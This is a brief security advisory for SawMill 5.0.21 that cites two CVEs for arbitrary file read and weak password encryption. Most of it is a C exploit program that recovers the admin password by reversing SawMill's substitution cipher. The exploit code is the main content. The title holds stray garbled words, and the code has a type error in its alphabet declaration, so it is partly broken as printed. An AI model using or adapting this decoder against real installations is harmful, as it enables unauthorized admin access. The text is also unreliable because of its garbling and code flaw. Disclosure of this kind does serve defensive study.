Arbitrary file read & weak password encryption flower fire sawmill v5.0.21
CVE ID(s):
CVE-2000-0588,
CVE-2000-0589
Notified: 2000-06-27
Description:
SawMill is a site log statistics package for UNIX, Windows and MacOS.
Exploit:
/*Dehash password for Sawmill admin account.
Larry W. Cashdollar
lwc@vapid.dhs.org
http://vapid.dhs.org
usage ./decrypt cyphertext
*/
#include <stdio.h>
char alpha ="abcdefghijklmnopqrstuvwxyz0123456789!@$%^&()_+~<>?:\"{}|"; char *encode="=GeKMNQS~TfUVWXY[abcygimrs\"$&-]FLq4.@wICH2!oEn}Z%(Ovt{z";
int
main (int argc, char **argv)
{
int x, y;
char cypher[128];
strncpy (cypher, argv[1], 128);
for (x = 0; x < strlen (cypher); x++) {
for (y = 0; y < strlen (encode); y++)
if (cypher[x] == encode[y]){
printf ("%c", alpha[y]);
break;
}
}
printf("\n\"+\" could also be a space [ ]\n");
}
Notes:
352 353